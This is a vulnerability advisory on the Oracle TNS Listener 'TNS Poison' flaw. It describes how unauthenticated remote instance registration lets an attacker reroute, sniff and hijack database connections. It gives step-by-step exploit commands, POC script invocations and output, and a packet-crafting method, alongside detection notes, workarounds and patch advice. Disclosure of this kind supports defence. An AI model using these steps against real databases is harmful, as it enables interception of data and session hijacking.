tl;dr -> Patch your database ASAP with Oracle Critical Patch Update
April 2012.
Introduction
------------
The following advisory explains a vulnerability I found in 2008 in all
versions of Oracle Database server until very recently. The bug is
probably available in any Oracle Database version since 1999 (Oracle 8i)
to the latest one (Oracle 11g) without the CPU-APR-2012. The bug was
reported to Oracle in 2008 so it "only" took them 4 years to fix the
vulnerability since reported.
The vulnerability I called TNS Poison affects the component called TNS
Listener, which is the responsible of connections establishment. To
exploit the vulnerability no privilege is needed, just network access to
the TNS Listener. The “feature” exploited is enabled by default in all
Oracle versions starting with Oracle 8i and ending with Oracle 11g
(without CPU-APR-2012).
Vulnerability details
---------------------
The Oracle TNS Listener component routes connections from the client to
the database server depending on the database's instance name the client
wants to connect to. These instances are registered at the TNS Listener
by using any of the following methods:
1. Local registration. The database's internal process PMON connects via
IPC to the TNS Listener and registers the database's instance name in
the local listener. This can be changed by altering the system parameter
LOCAL_LISTENER (ALTER SYSTEM SET LOCAL_LISTENER='LISTENER_NAME').
2. Remote registration. The database's internal process PMON connects
via TCP (or any other network supported protocol such) to the remote TNS
Listener and registers the database's instance name in the remote
listener. This behavior can be specified by setting the system parameter
REMOTE_LISTENER (ALTER SYSTEM SET
REMOTE_LISTENER='REMOTE_LISTENER_NAME').
This feature (remote registration) appeared first in Oracle 8i (1999)
-this is the reason why I say it's probably vulnerable since this
version, however, I didn't tested with such old database servers- and is
currently used in Oracle 11g as well as in Oracle9i and 10g. The process
of registering an instance is as follows:
1. The client sends a TNS packet of type CONNECT (TNS_TYPE_CONNECT = 1)
to the TNS Listener with the following NV string:
○ Oracle 9i to 11g: (CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR))
○ Oracle 8i: (CONNECT_DATA=(COMMAND=SERVICE_REGISTER))
2. The server answers with a TNS packet of type ACCEPT (TNS_TYPE_ACCEPT
= 2). After this, the protocol communication changes a bit (all data
will be binary).
3. The client sends a “data packet” (TNS_TYPE_DATA = 6) to the TNS
listener which contains the following data:
1. Service name to register.
2. Instances to register under the specified service name.
3. Maximum number of client connections allowed.
4. Current number of client connections established.
5. Handler's name.
6. IP address and port to connect to the database.
7. ...
4. If the packet is well formed, the server will answer with another TNS
“data packet” with the instances registered.
After this step, the instances and service names are registered in the
remote TNS Listener and any connection attempt to the TNS listener by
using the specified SERVICE_NAME or SID (database's instance) will be
routed to the remote database server.
The connection established to register the remote database must be open,
otherwise, the remote TNS listener will consider that the database was
crashed and deregisters the Oracle database's instance.
According to the Oracle documentation, the “PMON” process, after this,
will communicate with the TNS Listener sending update packets
(TNS_TYPE_DATA packets) to specify the load of the database, the number
of currently connected users, etc... Every one minute or, as most, every
10 minutes (Higher database load, lower update period).
This way, an attacker is able to register any instance in the remote TNS
listener and connections to the registered instance will be routed to
the attackers machine but, is this interesting? Well, not very
“exciting”. But, what occurs if an attacker tries to register one
already registered instance's name or service name? The TNS listener
will consider this newer registered instance name a cluster instance
(Oracle RAC, Real Application Clusters) or a fail over instance (Oracle
Fail over).
When 2 or more database instances are registered with the same name the
TNS listener will make load balance between all the registered remote
database servers. The latest registered remote database server will
receive the first client connection and the second will be routed to the
previously registered remote database server.
Routing client connections
--------------------------
The attack explained in this document can be used to, in example, route
legitimate client connections to one attacker controlled machine and
forward them to the legitimate database server instance as shown bellow:
------------------------------------------------------------------------
[Legit. Client 1]----------------------------
\
\
\
V
[Legit. Client 2]---------------+ [Database Server]
| A
[Legit. Client 3]---------------+ |
| |
V |
[ Attacker ]----------------+
[Note: Between 50/75% of the connections gets routed through the
attacker controlled box]
------------------------------------------------------------------------
The clients connects to the attacker's controlled box which acts as a
TNS proxy and forwards all connections to the legitimate database
server, as shown in the picture. Not all the connections will be routed
through the attacker's box as the TNS Listener will make load balance
between all the established instances but, continuously registering the
same instance will assure, at least, that the 50% of the connections
will be routed through our controlled box.
Sniffing connections
--------------------
The very first use of the attack explained in this document is obvious:
The attacker owns the data as almost all the connections goes through
the attacker's box. The attacker can record all the data exchanged
between the database server and the client machines and both client and
server will be oblivious of the attack.
If the attacker just wants to own the target's data, (s)he is done. Game
over.
Injecting arbitrary commands (Session hijack)
---------------------------------------------
As many of the client connections are connected to the legitimate
database through our proxy, we are also able to inject commands and/or
hijack connections. To inject commands, simply, wait for the customer to
send an SQL query/statement, replace the contents of the statement with
our desired command and that's all.
For session's hijack, simply, close the socket opened between the client
and our box and use the established connection channel between the real
database server and our machine. You may start sending SQL statements
right now.
Exploiting the vulnerability
----------------------------
The following sections show how can be launched a successful attack
against one Oracle database. The developed POC registers the service
name ORCL11 in the TNS Listener and forwards all the connections from
the attacker's controlled machine to the legitimate server.
Sniffing connections and forwarding client requests
---------------------------------------------------
Imagine the following exploit scenario:
1. The database server's IP address is 192.168.1.11 and has registered
the instance ORCL11.
2. The legitimate client's address is 192.168.1.12.
3. The attackers machine's address is 192.168.1.25.
An attacker will follow these steps:
1. The attacker runs a TCP proxy which forwards all connections to
his/her local port 1521 to the real database's server port 1521.
2. Attacker, now, connects to the TNS Listener via TCP/IP and sends the
following connect packet: (COMMAND=SERVICE_REGISTER_NSGR).
1. Note that no authentication is required.
3. After receiving the server's answer the attacker sends a packet with
the following data:
1. Service to register: ORCL11.
2. Address of the fake database: 192.168.1.25.
3. Load of the database's server: 0.
1. Remember: The lower load, the higher possibility to receive
client connections.
4. The attacker's developed exploit enters in a loop and registers the
instance every one minute closing the previously opened socket.
1. The last registered database's address is the favorite to route
client connections and the attacker wants to receive them all.
Proof of concept notes
----------------------
The developed P.O.C. is valid just for 6 characters long service names.
However, there is one easy way to change the exploit to make it working
against any non 6 characters long instance name:
1. Create a database instance with the same name in a machine under your
control.
2. Add an entry like the following to your tnsnames.ora file:
listener_name =
(DESCRIPTION=
(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.11)(PORT=1521)))
3. Change the address and port to those of the target.
4. Put an sniffer in your machine listening for any connection at port
1521 (Filter: port 1521).
5. Connect using SQL*Plus to your locally created database as SYSDBA and
execute the following commands:
1. $ sqlplus / as sysdba
2. SQL> ALTER SYSTEM SET REMOTE_LISTENER='LISTENER_NAME';
3. SQL> ALTER SYSTEM REGISTER;
6. You will see 6 packets in Wireshark (or the sniffer you decided to
use). Ignore the 2 first packets. The 3rd packet (TNS_TYPE_DATA) that
your configured database sends from your box to the target is the one
you are interested in. You may safely ignore all the other packets.
7. Change the contents of the “buf” variable in the supplied exploit
with the contents of this packet.
8. Rerun the exploit against the target.
NOTE: You may use this as another attack vector. As your database (which
has the same name as the target) is registered in the remote TNS
Listener, new connections that goes through the TNS listener you
poisoned will be routed to your new database. Funny.
TNS Poison POC: Step by step guide
----------------------------------
This is the step by step guide to proof the vulnerability explained in
this document by using the supplied POC and the aux module:
1. Open a terminal and run the supplied proxy.py script as shown bellow:
$ ./proxy.py –localip 192.168.1.25 localport 1521 –remoteip
192.168.1.11 remoteport 1521
2. Open another terminal and run the supplied script tnspoison.py
against the target as in the example shown bellow:
$ ./tnspoisonv1.py 192.168.1.25 1521 ORCL11 192.168.1.11 1521
Sending initial buffer ...
Answer: Accept(2)
Sending registration ...
'\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D
\x08\xff\x03\x01\x00\x124444...'
Answer: Data(6)
'\x01J\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01@
\x08\xff\x03\x01\x00\x1244444...'
Sleeping for 10 seconds... (Ctrl+C to stop)...
Now, wait for the new connections to arrive. If you checks the listener
using the LSNRCTL tool you will something like the following:
$ lsnrctl status
LSNRCTL for Linux: Version 11.1.0.6.0 Production
Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))
STATUS of the LISTENER
----------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 11.1.0.6.0 Production
Start Date 08AUG2008 18:38:08
Uptime 0 days 0 hr. 15 min. 46 sec
Trace Level off
Security ON: Local OS Authentication
SNMP OFF
Listener Parameter
File /home/joxean/oracle11g/product/11.1.0/db_2/network/admin/listener.ora
Listener Log File /home/joxean/oracle11g/diag/tnslsnr/joxeandesktop/
listener/alert/log.xml
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=1521)))
Services Summary...
Service "ORCL11" has 2 instance(s).
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Service "ORCL11XDB" has 2 instance(s).
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Service "ORCL11_XPT" has 2 instance(s).
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Instance "ORCL11", status READY, has 1 handler(s) for this service...
The command completed successfully
$ lsnrctl services
LSNRCTL for Linux: Version 11.1.0.6.0 Production
Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))
Services Summary...
Service "ORCL11" has 2 instance(s).
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
REMOTE SERVER
(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.25)(PORT=1521))
Service "ORCL11XDB" has 2 instance(s).
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Handler(s):
"D000" established:0 refused:0 current:0 max:972 state:ready
DISPATCHER <machine: machine, pid: 19194>
(ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=42265))
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Handler(s):
"D000" established:0 refused:0 current:2048 max:1024 state:ready
DISPATCHER <machine: 192.168.1.25 , pid: 11447>
(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.25)(PORT=57569))
Service "ORCL11_XPT" has 2 instance(s).
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER
Instance "ORCL11", status READY, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
REMOTE SERVER
(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.25)(PORT=1521))
The command completed successfully
Detection
---------
The following sections explains how this attack can be somewhat detected
at the server side, although no one is perfect (except using OS
utilities).
Information at the RDBMS Server side
------------------------------------
One may think the following: “Hey! At the server side, the DBA will see
that the connections are established from untrusted clients, right?”.
Well, yes and no.
By using operating system tools, as is pretty obvious, the DBA will see
that there are many connections from the same origin host but, by using
the V$SESSION dynamic view, that is, the Oracle database's supplied
mechanism to see the client connections, the DBA will see that the
connections are established from trusted clients. But, they aren't.
Why the server thinks client connections are coming from trusted
sources? The answer is the following: The server doesn't check if the
connections comes from a socket created from the trusted client ip
addresses, the RDBMS server just checks the user supplied NV strings in
the TNS connect packet. A TNS connect packet (TNS_TYPE_CONNECT = 1) is
like the following (stripping all the binary characters, of course):
(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=sqlplus)
(HOST=joxeandesktop)(USER=joxean)))
(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.11)(PORT=1521)))
The highlighted fields are those that are fakeable^Wuser modifiable. So,
any connection established through our controlled machine will be shown
in the RDBMS server as if they were made directly from trusted clients.
TNS Listener's log file
-----------------------
Any attempt to register a new database instance or service will be
registered in the TNS Listener. A line like the following will be shown:
04AUG2008 21:26:29 * service_register * DATABASENAME * 0
It isn't sufficient/enough information but, this way, we may detect an
attempt to register a new instance. No interesting information (like IP
address, client port, etc...) is registered so, the TNS listener's log
file is not very interesting.
This applies just for Oracle 8i, 9i and 10g. For Oracle 11g, however,
the interesting information will logged in the alert file (one XML
formatted file). In Oracle 11g any attempt to register a new instance
will be logged in the alert file with the following information:
<msg time='20080807T17:
30:19.436+02:00' org_id='oracle' comp_id='tnslsnr'
type='UNKNOWN' level='16' host_id='joxeandesktop'
host_addr='127.0.0.1'>
<txt>07AUG2008
17:30:19 * service_register * ORCL11 * 0
</txt>
</msg>
Unfortunately for us^Wthe attacker, the “host_addr” field holds the
information extracted from the socket, not from the NV strings. Oh...
This only applies to Oracle 11g with the newest security features
enabled which is, by the way, default behavior. Anyway, an attack
detected at the TNS listener's log level is not a detected attack at the
RDBMS server level, neither an attack prevention method.
Workarounds
-----------
Better than using workarounds is to patch the vulnerability. However, in
case you're using an outdated version for which no patch is available or
if you can't pach for a reason, the following is a list of possible
workarounds.
Possible workarounds
--------------------
There are many possible workarounds. The easier one is to set the
following parameter in the listener.ora configuration file:
dynamic_registration = off.
But, sometimes, you don't want to apply this workaround. In example, if
you have an Oracle RAC cluster, all the cluster's instances must be
registered in both TNS Listeners so, this workaround is not suitable for
Oracle RAC clusters. To apply this workaround with Oracle RAC
environments one needs to implement load balancing at the client side,
changing all the client's tnsnames.ora configuration file to add the
complete list of Oracle RAC nodes.
However, there is another possible workaround that, sometimes, is
suitable for Oracle RAC environments. Edit the file protocol.ora or, for
older versions, sqlnet.ora, at the server side and add the following
directives:
TCP.VALIDNODE_CHECKING = YES
TCP.INVITED_NODE = (Comma,separated,list,of,ALL,valid,clients, ...)
But, anyway, this workaround doesn't prevent valid clients from being
used as proxies. Valid clients can still exploit the vulnerability
regardless the VALIDNODE_CHECKING directive added as the client is a
valid node.
Then again, there is one more suitable workaround: If customer bought
(and enabled) Oracle Advanced Security feature clients can be configured
to use SSL/TLS. Thus, at both client and server side, the following
parameters must be changed in protocol.ora or sqlnet.ora:
Client side: SQLNET.ENCRYPTION_CLIENT=REQUIRED
Server side: SQLNET.ENCRYPTION_SERVER=REQUIRED
The value of these configuration directives must be REQUIRED and not
REQUESTED, as is pretty common, otherwise the attacker can answer to the
connection attempt answering that no SSL cipher is supported at the
server side (as the attacker's controlled box is for the client the
trusted database's server) and the client will reconnect without using
SSL.
Patch information
-----------------
The vulnerability is supposed to be fixed, as reported by Oracle, with
Oracle Critical Patch Update April 2012. However, I didn't tested it
myself and, to be honest, I'm very tired of the Oracle world so I did
not tested it myself. I would not be surprised if the patch doesn't
correctly/completely fix the vulnerability.
Proof of concept and documentation
----------------------------------
You can download the developed proof of concept and the old documentation
-wrote back in 2008- from the following links:
Documentation: http://www.joxeankoret.com/download/tnspoison.pdf
Proof of concept: http://www.joxeankoret.com/download/tnspoison.zip
References
----------
Oracle Critical Patch Update Advisory - April 2012:
http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html
Oracle Advanced Security Manual:
Oracle 11g
http://download.oracle.com/docs/cd/B28359_01/network.111/b28530/asossl.htm
Oracle 10g
http://download.oracle.com/docs/cd/B19306_01/network.102/b14268/toc.htm
Oracle 9i
http://downloadwest.oracle.com/docs/cd/B10500_01/network.920/a96573/toc.htm
Oracle 8i
http://downloaduk.oracle.com/docs/cd/A87860_01/doc/network.817/a85430/toc.htm
Oracle 8.1.6 Registration:
http://www.orafaq.com/node/30
Configuring Remote Listener Registration:
http://download.oracle.com/docs/cd/B10501_01/network.920/a96580/listener.htm#490372
Notes
-----
Many of the notes, outputs from terminals, etc... are simply taken from
my original notes back from 2008 so, probably, there can be many things
outdated.
Disclaimer
----------
The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind. I am not liable for
any direct or indirect damages caused as a result of using the
information or demonstrations provided in any part of this advisory.
Contact
-------
The vulnerability was found by Joxean Koret in 2008.
All your listeners are belong to us...
Attachment:
signature.asc
Description: This is a digitally signed message part